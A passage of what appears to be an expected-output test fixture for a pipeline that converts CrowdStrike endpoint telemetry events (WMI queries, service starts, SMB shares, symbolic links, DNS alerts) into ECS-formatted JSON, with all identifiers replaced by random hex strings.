"{\"event_simpleName\":\"SensitiveWmiQuery\",\"UserName\":\"207ef664\\\\d621c1\",\"ConfigStateHash\":\"2069001378\",\"ContextProcessId\":\"2600380079010\",\"aip\":\"81.2.69.142\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"WmiQuery\":\"8d8f8ea22b6bfbe801ecaaba1425c6a9d7\",\"ClientComputerName\":\"9b0f0662\",\"Entitlements\":\"96\",\"name\":\"887f1bbf3206d18c959\",\"EventOrigin\":\"1\",\"id\":\"272b6e237d25b3c937239259405719619f9c\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"cfe278fcd1e293c7afdf3f1753b2d89e\",\"WmiNamespaceName\":\"4813\\\\155e1\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "info" + ] + }, + "host": { + "id": "cfe278fcd1e293c7afdf3f1753b2d89e", + "os": { + "type": "windows" + } + }, + "message": "SensitiveWmiQuery", + "observer": { + "address": [ + "81.2.69.142" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.142" + ], + "serial_number": "cfe278fcd1e293c7afdf3f1753b2d89e", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "2600380079010" + }, + "related": { + "hash": [ + "2069001378" + ], + "hosts": [ + "9b0f0662" + ], + "ip": [ + "81.2.69.142" + ], + "user": [ + "207ef664\\d621c1" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "name": "207ef664\\d621c1" + } + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "AuthenticationId": "830", + "ConfigStateHash": "240271348", + "ContextTimeStamp": "2025-07-15T05:39:35.986Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "76", + "EventOrigin": "45", + "InterfaceGuid": "b3f8252aa9cc6427351d20c3f33d3ae79e2e", + "InterfaceVersion": "510063", + "RpcClientProcessId": "5080050038080", + "RpcClientThreadId": "208220707353715", + "RpcNestingLevel": "0", + "RpcOpNum": "94", + "TokenType": "1", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "8b25e606b146b0ecb0d734dc9eedcd5ef49f", + "name": "e9599fcf8f9c5676" + }, + "device": { + "id": "8fb3daf730de8e73c353f0c4137a51b5" + }, + "event": { + "action": "ServiceStarted", + "category": [ + "process" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "8b25e606b146b0ecb0d734dc9eedcd5ef49f|8fb3daf730de8e73c353f0c4137a51b5|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"aip\":\"81.2.69.144\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"45\",\"InterfaceGuid\":\"b3f8252aa9cc6427351d20c3f33d3ae79e2e\",\"RpcClientProcessId\":\"5080050038080\",\"id\":\"8b25e606b146b0ecb0d734dc9eedcd5ef49f\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"ServiceStarted\",\"ContextTimeStamp\":\"1752557975.986\",\"UserName\":\"9ce650c90\",\"ConfigStateHash\":\"240271348\",\"InterfaceVersion\":\"510063\",\"RpcClientThreadId\":\"208220707353715\",\"AuthenticationId\":\"830\",\"ServiceDisplayName\":\"b0f9460\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"CommandLine\":\"7f4e00945ff9549f18b040b9d6c84c6 -2 1c2833 -5 -9 b0f9460\",\"TargetProcessId\":\"4007891768902\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\d598026\\\\dc9ec376\\\\177d568.exe\",\"RpcOpNum\":\"94\",\"Entitlements\":\"76\",\"name\":\"e9599fcf8f9c5676\",\"aid\":\"8fb3daf730de8e73c353f0c4137a51b5\",\"RpcNestingLevel\":\"0\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "start" + ] + }, + "host": { + "id": "8fb3daf730de8e73c353f0c4137a51b5", + "os": { + "type": "windows" + } + }, + "message": "ServiceStarted", + "observer": { + "address": [ + "81.2.69.144" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.144" + ], + "serial_number": "8fb3daf730de8e73c353f0c4137a51b5", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "args": [ + "7f4e00945ff9549f18b040b9d6c84c6", + "-2", + "1c2833", + "-5", + "-9", + "b0f9460" + ], + "args_count": 6, + "command_line": "7f4e00945ff9549f18b040b9d6c84c6 -2 1c2833 -5 -9 b0f9460", + "entity_id": "4007891768902", + "executable": "\\6ba0bd\\447b992c\\d598026\\dc9ec376\\177d568.exe", + "name": "177d568.exe", + "title": "b0f9460" + }, + "related": { + "hash": [ + "240271348" + ], + "ip": [ + "81.2.69.144" + ], + "user": [ + "9ce650c90" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "name": "9ce650c90" + } + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "AuthenticationId": "830", + "ConfigStateHash": "9080101000", + "ContextBaseFileName": "511ab7", + "ContextProcessId": "107208055010", + "ContextTimeStamp": "2025-10-21T20:48:29.477Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "56", + "EventOrigin": "1", + "FileCategory": "1", + "FileEcpBitmask": "0", + "FileObject": "0", + "FileOperatorSid": "S-39243-24597-72335", + "FileWrittenFlags": "0", + "IrpFlags": "0", + "IsOnNetwork": "0", + "IsOnRemovableDisk": "0", + "MajorFunction": "0", + "MinorFunction": "0", + "OperationFlags": "0", + "TokenType": "1", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "1c2cb8d06c607d68fcb2877b0e000a683739", + "name": "d4fd2d5cb305a8abdd140a" + }, + "device": { + "id": "61cace3ec102dbde6e5eb08963b52e9c" + }, + "event": { + "action": "creation", + "category": [ + "file" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "1c2cb8d06c607d68fcb2877b0e000a683739|61cace3ec102dbde6e5eb08963b52e9c|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"FileOperatorSid\":\"S-39243-24597-72335\",\"ContextBaseFileName\":\"511ab7\",\"FileCategory\":\"1\",\"Size\":\"8200405\",\"ContextThreadId\":\"90605908807000\",\"MinorFunction\":\"0\",\"aip\":\"81.2.69.144\",\"IsOnNetwork\":\"0\",\"FileIdentifier\":\"064619a017259a2de5b5a7a60da71f28010aaa5134a07dc8\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"DiskParentDeviceInstanceId\":\"835\\\\b9e65ff8\\\\fb6901a4\",\"id\":\"1c2cb8d06c607d68fcb2877b0e000a683739\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"SevenZipFileWritten\",\"ContextTimeStamp\":\"1761079709.477\",\"ConfigStateHash\":\"9080101000\",\"ContextProcessId\":\"107208055010\",\"IrpFlags\":\"0\",\"AuthenticationId\":\"830\",\"FileWrittenFlags\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"IsOnRemovableDisk\":\"0\",\"Entitlements\":\"56\",\"name\":\"d4fd2d5cb305a8abdd140a\",\"OperationFlags\":\"0\",\"aid\":\"61cace3ec102dbde6e5eb08963b52e9c\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\3edfbf1f\\\\ec1d12b\\\\e80c39c\\\\7d0c653b.tmp\"}", + "outcome": "success", + "type": [ + "creation" + ] + }, + "file": { + "device": "835\\b9e65ff8\\fb6901a4", + "directory": "\\6ba0bd\\3edfbf1f\\ec1d12b\\e80c39c", + "extension": "tmp", + "inode": "064619a017259a2de5b5a7a60da71f28010aaa5134a07dc8", + "name": "7d0c653b.tmp", + "path": "\\6ba0bd\\3edfbf1f\\ec1d12b\\e80c39c\\7d0c653b.tmp", + "size": 8200405, + "type": "file" + }, + "host": { + "id": "61cace3ec102dbde6e5eb08963b52e9c", + "os": { + "type": "windows" + } + }, + "message": "SevenZipFileWritten", + "observer": { + "address": [ + "81.2.69.144" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.144" + ], + "serial_number": "61cace3ec102dbde6e5eb08963b52e9c", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "107208055010", + "name": "511ab7", + "thread": { + "id": 90605908807000 + } + }, + "related": { + "hash": [ + "9080101000" + ], + "ip": [ + "81.2.69.144" + ], + "user": [ + "S-39243-24597-72335" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "id": "S-39243-24597-72335" + } + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ClientComputerName": "6cfc77d1a6", + "ConfigStateHash": "9968901000", + "EffectiveTransmissionClass": "3", + "Entitlements": "26", + "EventOrigin": "45", + "SmbShareName": "967ec0f7", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "56cb5eb3321a430b24ba0bebef0335c0abf6", + "name": "0e883005214e1c97be512a900" + }, + "device": { + "id": "f7e49d5e0a65ac9907089989782717df" + }, + "event": { + "action": "SmbClientShareClosedEtw", + "category": [ + "network" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "56cb5eb3321a430b24ba0bebef0335c0abf6|f7e49d5e0a65ac9907089989782717df|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"event_simpleName\":\"SmbClientShareClosedEtw\",\"ConfigStateHash\":\"9968901000\",\"aip\":\"216.160.83.56\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"ClientComputerName\":\"6cfc77d1a6\",\"Entitlements\":\"26\",\"name\":\"0e883005214e1c97be512a900\",\"EventOrigin\":\"45\",\"id\":\"56cb5eb3321a430b24ba0bebef0335c0abf6\",\"SmbShareName\":\"967ec0f7\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"f7e49d5e0a65ac9907089989782717df\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "connection", + "end" + ] + }, + "host": { + "id": "f7e49d5e0a65ac9907089989782717df", + "os": { + "type": "windows" + } + }, + "message": "SmbClientShareClosedEtw", + "observer": { + "address": [ + "216.160.83.56" + ], + "geo": { + "city_name": "Milton", + "continent_name": "North America", + "country_iso_code": "US", + "country_name": "United States", + "location": { + "lat": 47.2513, + "lon": -122.3149 + }, + "region_iso_code": "US-WA", + "region_name": "Washington" + }, + "ip": [ + "216.160.83.56" + ], + "serial_number": "f7e49d5e0a65ac9907089989782717df", + "version": "2c8b.4.ae3729d.e6" + }, + "related": { + "hash": [ + "9968901000" + ], + "hosts": [ + "6cfc77d1a6" + ], + "ip": [ + "216.160.83.56" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ClientComputerName": "e747bc", + "ConfigStateHash": "804061009", + "EffectiveTransmissionClass": "3", + "Entitlements": "36", + "EventOrigin": "45", + "SmbShareName": "a4d268", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "be306cd8d3b6946b7798e88271cbf77dee2b", + "name": "d226521607b20089974fab726" + }, + "device": { + "id": "e7e98921e91425b34501d7e91f6906b7" + }, + "event": { + "action": "SmbClientShareOpenedEtw", + "category": [ + "network" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "be306cd8d3b6946b7798e88271cbf77dee2b|e7e98921e91425b34501d7e91f6906b7|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"event_simpleName\":\"SmbClientShareOpenedEtw\",\"ConfigStateHash\":\"804061009\",\"aip\":\"216.160.83.56\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"ClientComputerName\":\"e747bc\",\"Entitlements\":\"36\",\"name\":\"d226521607b20089974fab726\",\"EventOrigin\":\"45\",\"id\":\"be306cd8d3b6946b7798e88271cbf77dee2b\",\"SmbShareName\":\"a4d268\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"e7e98921e91425b34501d7e91f6906b7\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "connection", + "start" + ] + }, + "host": { + "id": "e7e98921e91425b34501d7e91f6906b7", + "os": { + "type": "windows" + } + }, + "message": "SmbClientShareOpenedEtw", + "observer": { + "address": [ + "216.160.83.56" + ], + "geo": { + "city_name": "Milton", + "continent_name": "North America", + "country_iso_code": "US", + "country_name": "United States", + "location": { + "lat": 47.2513, + "lon": -122.3149 + }, + "region_iso_code": "US-WA", + "region_name": "Washington" + }, + "ip": [ + "216.160.83.56" + ], + "serial_number": "e7e98921e91425b34501d7e91f6906b7", + "version": "2c8b.4.ae3729d.e6" + }, + "related": { + "hash": [ + "804061009" + ], + "hosts": [ + "e747bc" + ], + "ip": [ + "216.160.83.56" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "50820000", + "EffectiveTransmissionClass": "3", + "Entitlements": "86", + "EventOrigin": "45", + "SmbShareName": "d1", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "73dd5ae007d4fa5b059b77f3a112dd87b35f", + "name": "e1b2ed2cbfccda3de1aa6adee" + }, + "destination": { + "address": "2a02:cf40::1", + "domain": "c53", + "geo": { + "continent_name": "Europe", + "country_iso_code": "NO", + "country_name": "Norway", + "location": { + "lat": 62.0, + "lon": 10.0 + } + }, + "ip": "2a02:cf40::1" + }, + "device": { + "id": "f5f8341524ed1dd257646890be631aee" + }, + "event": { + "action": "SmbServerShareOpenedEtw", + "category": [ + "network" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "73dd5ae007d4fa5b059b77f3a112dd87b35f|f5f8341524ed1dd257646890be631aee|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"event_simpleName\":\"SmbServerShareOpenedEtw\",\"UserName\":\"07d8f4d\",\"RemoteAddressIP6\":\"2a02:cf40::1\",\"ConfigStateHash\":\"50820000\",\"DomainName\":\"c53\",\"aip\":\"81.2.69.144\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"Entitlements\":\"86\",\"name\":\"e1b2ed2cbfccda3de1aa6adee\",\"EventOrigin\":\"45\",\"id\":\"73dd5ae007d4fa5b059b77f3a112dd87b35f\",\"SmbShareName\":\"d1\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"f5f8341524ed1dd257646890be631aee\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "connection", + "start" + ] + }, + "host": { + "id": "f5f8341524ed1dd257646890be631aee", + "os": { + "type": "windows" + } + }, + "message": "SmbServerShareOpenedEtw", + "observer": { + "address": [ + "81.2.69.144" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.144" + ], + "serial_number": "f5f8341524ed1dd257646890be631aee", + "version": "2c8b.4.ae3729d.e6" + }, + "related": { + "hash": [ + "50820000" + ], + "ip": [ + "81.2.69.144", + "2a02:cf40::1" + ], + "user": [ + "07d8f4d" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "name": "07d8f4d" + } + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "4100830266", + "EffectiveTransmissionClass": "3", + "Entitlements": "76", + "EventOrigin": "45", + "SmbClientName": "43194ec065b", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "295a131e9dc1f5ef17daa6595049d55e40cf", + "name": "ba4a423304abd0ff28e43" + }, + "device": { + "id": "c3ecc304b2ebc8216508373e45b2b7c6" + }, + "event": { + "action": "SmbServerV1AuditEtw", + "category": [ + "network" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "295a131e9dc1f5ef17daa6595049d55e40cf|c3ecc304b2ebc8216508373e45b2b7c6|4092825518eaf67377a6e4492ae44577", + "kind": "state", + "original": "{\"event_simpleName\":\"SmbServerV1AuditEtw\",\"ConfigStateHash\":\"4100830266\",\"aip\":\"81.2.69.142\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"SmbClientName\":\"43194ec065b\",\"event_platform\":\"Win\",\"Entitlements\":\"76\",\"name\":\"ba4a423304abd0ff28e43\",\"EventOrigin\":\"45\",\"id\":\"295a131e9dc1f5ef17daa6595049d55e40cf\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"c3ecc304b2ebc8216508373e45b2b7c6\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "unknown", + "type": [ + "connection" + ] + }, + "host": { + "id": "c3ecc304b2ebc8216508373e45b2b7c6", + "os": { + "type": "windows" + } + }, + "message": "SmbServerV1AuditEtw", + "observer": { + "address": [ + "81.2.69.142" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.142" + ], + "serial_number": "c3ecc304b2ebc8216508373e45b2b7c6", + "version": "2c8b.4.ae3729d.e6" + }, + "related": { + "hash": [ + "4100830266" + ], + "ip": [ + "81.2.69.142" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ContextProcessId": "5209000050507", + "ContextTimeStamp": "2025-08-05T12:02:22.498Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "36", + "VolumeDeviceCharacteristics": "0", + "VolumeDeviceObjectFlags": "420270500", + "VolumeDeviceType": "8", + "VolumeEncryptionStatus": "0", + "VolumeFileSystemDevice": "\\e195", + "VolumeFileSystemDriver": "\\6b634d3d\\e195", + "VolumeFileSystemType": "2", + "VolumeIsEncrypted": "1", + "VolumeLabel": "d598026", + "VolumeName": "\\6ba0bd\\c1eb8062", + "VolumeRealDeviceName": "\\6ba0bd\\c1eb8062", + "VolumeSectorSize": "940", + "VolumeSessionUUID": "a3959a6c-5919-4ac3-a15a-2a320ad21a4e", + "VolumeSnapshotName": "\\6ba0bd\\447b992c", + "VolumeSnapshotTimeStamp": "1748508106.387", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "42736e4684d2a23274632e48769919984ae5", + "name": "2ab84c7f9e501a2854c7e357" + }, + "device": { + "id": "7bf30749173dbd091654e80c365263d2" + }, + "event": { + "action": "SnapshotVolumeMounted", + "category": [ + "host", + "configuration" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "42736e4684d2a23274632e48769919984ae5|7bf30749173dbd091654e80c365263d2|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"VolumeSessionUUID\":\"a3959a6c-5919-4ac3-a15a-2a320ad21a4e\",\"ContextThreadId\":\"270025735200022\",\"aip\":\"89.160.20.112\",\"event_platform\":\"Win\",\"VolumeDeviceObjectFlags\":\"420270500\",\"VolumeFileSystemDevice\":\"\\\\e195\",\"VolumeSnapshotName\":\"\\\\6ba0bd\\\\447b992c\",\"VolumeIsEncrypted\":\"1\",\"VolumeFileSystemDriver\":\"\\\\6b634d3d\\\\e195\",\"VolumeDeviceCharacteristics\":\"0\",\"id\":\"42736e4684d2a23274632e48769919984ae5\",\"VolumeDeviceType\":\"8\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"SnapshotVolumeMounted\",\"VolumeName\":\"\\\\6ba0bd\\\\c1eb8062\",\"VolumeSnapshotTimeStamp\":\"1748508106.387\",\"ContextTimeStamp\":\"1754395342.498\",\"VolumeSectorSize\":\"940\",\"ContextProcessId\":\"5209000050507\",\"VolumeRealDeviceName\":\"\\\\6ba0bd\\\\c1eb8062\",\"VolumeLabel\":\"d598026\",\"ConfigBuild\":\"ad5.4.ae3729d.6\",\"VolumeEncryptionStatus\":\"0\",\"VolumeFileSystemType\":\"2\",\"Entitlements\":\"36\",\"name\":\"2ab84c7f9e501a2854c7e357\",\"aid\":\"7bf30749173dbd091654e80c365263d2\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "change" + ] + }, + "host": { + "id": "7bf30749173dbd091654e80c365263d2", + "os": { + "type": "windows" + } + }, + "message": "SnapshotVolumeMounted", + "observer": { + "address": [ + "89.160.20.112" + ], + "geo": { + "city_name": "Linköping", + "continent_name": "Europe", + "country_iso_code": "SE", + "country_name": "Sweden", + "location": { + "lat": 58.4167, + "lon": 15.6167 + }, + "region_iso_code": "SE-E", + "region_name": "Östergötland County" + }, + "ip": [ + "89.160.20.112" + ], + "serial_number": "7bf30749173dbd091654e80c365263d2", + "version": "ad5.4.ae3729d.6" + }, + "process": { + "entity_id": "5209000050507", + "thread": { + "id": 270025735200022 + } + }, + "related": { + "ip": [ + "89.160.20.112" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "8200073020", + "ContextProcessId": "230000690074863000", + "ContextTimeStamp": "2025-10-21T08:14:33.549Z", + "DesiredAccess": "180051", + "EffectiveTransmissionClass": "3", + "Entitlements": "46", + "EventOrigin": "1", + "PatternId": "7000", + "Status": "0", + "SymbolicLinkName": "\\ae81c232\\6b8a", + "SymbolicLinkTarget": "\\f92fc8\\85d8d803\\f6dcb\\73d\\e8f27fd4", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "c5355e5f32b043d778a5628a9817ed603fe9", + "name": "6a8d935023cdc21ff9cca3537d2780" + }, + "device": { + "id": "c82cce517ab3200fde3ca362e648c993" + }, + "event": { + "action": "SuspiciousCreateSymbolicLink", + "category": [ + "file" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "c5355e5f32b043d778a5628a9817ed603fe9|c82cce517ab3200fde3ca362e648c993|4092825518eaf67377a6e4492ae44577", + "kind": "alert", + "original": "{\"Status\":\"0\",\"event_simpleName\":\"SuspiciousCreateSymbolicLink\",\"ContextTimeStamp\":\"1761034473.549\",\"SymbolicLinkName\":\"\\\\ae81c232\\\\6b8a\",\"ConfigStateHash\":\"8200073020\",\"ContextProcessId\":\"230000690074863000\",\"aip\":\"216.160.83.56\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"CommandLine\":\"54d\\\\8027a4f5\\\\1a2e21\\\\1fb\\\\51a\\\\5c8f1a6.exe\\\"\",\"SymbolicLinkTarget\":\"\\\\f92fc8\\\\85d8d803\\\\f6dcb\\\\73d\\\\e8f27fd4\",\"DesiredAccess\":\"180051\",\"PatternId\":\"7000\",\"ImageFileName\":\"\\\\6ba0bd\\\\3edfbf1f\\\\8027a4f5\\\\1a2e21\\\\1fb\\\\51a\\\\21c4c94.exe\",\"Entitlements\":\"46\",\"name\":\"6a8d935023cdc21ff9cca3537d2780\",\"EventOrigin\":\"1\",\"id\":\"c5355e5f32b043d778a5628a9817ed603fe9\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"c82cce517ab3200fde3ca362e648c993\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "creation", + "info" + ] + }, + "host": { + "id": "c82cce517ab3200fde3ca362e648c993", + "os": { + "type": "windows" + } + }, + "message": "SuspiciousCreateSymbolicLink", + "observer": { + "address": [ + "216.160.83.56" + ], + "geo": { + "city_name": "Milton", + "continent_name": "North America", + "country_iso_code": "US", + "country_name": "United States", + "location": { + "lat": 47.2513, + "lon": -122.3149 + }, + "region_iso_code": "US-WA", + "region_name": "Washington" + }, + "ip": [ + "216.160.83.56" + ], + "serial_number": "c82cce517ab3200fde3ca362e648c993", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "args": [ + "54d\\8027a4f5\\1a2e21\\1fb\\51a\\5c8f1a6.exe" + ], + "args_count": 1, + "command_line": "54d\\8027a4f5\\1a2e21\\1fb\\51a\\5c8f1a6.exe\"", + "entity_id": "230000690074863000", + "executable": "\\6ba0bd\\3edfbf1f\\8027a4f5\\1a2e21\\1fb\\51a\\21c4c94.exe", + "name": "21c4c94.exe" + }, + "related": { + "hash": [ + "8200073020" + ], + "ip": [ + "216.160.83.56" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "4080600092", + "ContextProcessId": "5004051100005", + "ContextTimeStamp": "2025-05-24T14:32:51.316Z", + "DualRequest": "1", + "EffectiveTransmissionClass": "3", + "Entitlements": "76", + "EventOrigin": "1", + "InterfaceIndex": 0, + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "8d4c70642deafa7c185dae1766913cc2b684", + "name": "cecd6d00633889a0e5140e" + }, + "device": { + "id": "e0391be8776b91e27451ffc78839341a" + }, + "dns": { + "question": { + "name": "da624cbc09cb196e3c026", + "type": "CDS" + }, + "type": "query" + }, + "event": { + "action": "SuspiciousDnsRequest", + "category": [ + "network" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "8d4c70642deafa7c185dae1766913cc2b684|e0391be8776b91e27451ffc78839341a|4092825518eaf67377a6e4492ae44577", + "kind": "alert", + "original": "{\"event_simpleName\":\"SuspiciousDnsRequest\",\"ContextTimeStamp\":\"1748097171.316\",\"ConfigStateHash\":\"4080600092\",\"ContextProcessId\":\"5004051100005\",\"DomainName\":\"da624cbc09cb196e3c026\",\"ContextThreadId\":\"306930070760507\",\"aip\":\"216.160.83.56\",\"InterfaceIndex\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"DualRequest\":\"1\",\"Entitlements\":\"76\",\"name\":\"cecd6d00633889a0e5140e\",\"EventOrigin\":\"1\",\"id\":\"8d4c70642deafa7c185dae1766913cc2b684\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"e0391be8776b91e27451ffc78839341a\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"RequestType\":\"59\"}", + "outcome": "success", + "type": [ + "start", + "protocol" + ] + }, + "host": { + "id": "e0391be8776b91e27451ffc78839341a", + "os": { + "type": "windows" + } + }, + "message": "SuspiciousDnsRequest", + "network": { + "protocol": "dns" + }, + "observer": { + "address": [ + "216.160.83.56" + ], + "geo": { + "city_name": "Milton", + "continent_name": "North America", + "country_iso_code": "US", + "country_name": "United States", + "location": { + "lat": 47.2513, + "lon": -122.3149 + }, + "region_iso_code": "US-WA", + "region_name": "Washington" + }, + "ip": [ + "216.160.83.56" + ], + "serial_number": "e0391be8776b91e27451ffc78839341a", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "5004051100005", + "thread": { + "id": 306930070760507 + } + }, + "related": { + "hash": [ + "4080600092" + ], + "ip": [ + "216.160.83.56" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "9968901000", + "ContextProcessId": "6460070801000", + "ContextTimeStamp": "2025-06-26T22:19:46.666Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "16", + "EventOrigin": "1", + "PatternId": "730", + "RegConfigClass": "40", + "RegConfigFlags": "0", + "RegConfigIndex": "1", + "RegConfigValueType": "0", + "RegObjectName": "\\85aaee17\\92b7\\79f42eec\\4f779032\\c7bac469\\d598026\\1f728162\\00d", + "RegOperationType": "1", + "RegStringValue": "5f20a496dc8 abc7e 14a2e558d6bf189c90709e05527870fad3d5d824c560 829462947afcd60b102 5385ab5330ba103afe7", + "RegType": "1", + "RegValueName": "2249bd3e5b556707004d9a368b5d3bdf235dff7662d9975c39f5df17", + "TargetCommandLineParameters": "8 829462947afcd60b102 5385ab5330ba103afe7", + "TargetSHA256HashData": "61f2a019c0fa12f061b4fed2c5d10a4a7165db190bbaf218fc58560b7d926462", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "6a3e0c317c79a163daff6f7ff43b0f8b638f", + "name": "d6768a557290bddc8f464a531" + }, + "device": { + "id": "f7e49d5e0a65ac9907089989782717df" + }, + "event": { + "action": "modification", + "category": [ + "malware", + "registry", + "configuration" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "6a3e0c317c79a163daff6f7ff43b0f8b638f|f7e49d5e0a65ac9907089989782717df|4092825518eaf67377a6e4492ae44577", + "kind": "alert", + "original": 